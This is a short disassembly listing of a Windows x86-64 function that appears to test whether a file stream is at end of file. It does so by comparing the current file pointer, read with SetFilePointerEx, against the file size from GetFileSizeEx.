push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18007f372
mov al, 1
jmp 0x18007f3d2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18007f383
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18007f3d0
mov ecx, dword [rcx + 0x18]
nop
call fcn.18008a274
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18007f3d0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18007f3d0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18007f3d0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18007f3d2
xor al, al
add rsp, 0x20
pop rbx
ret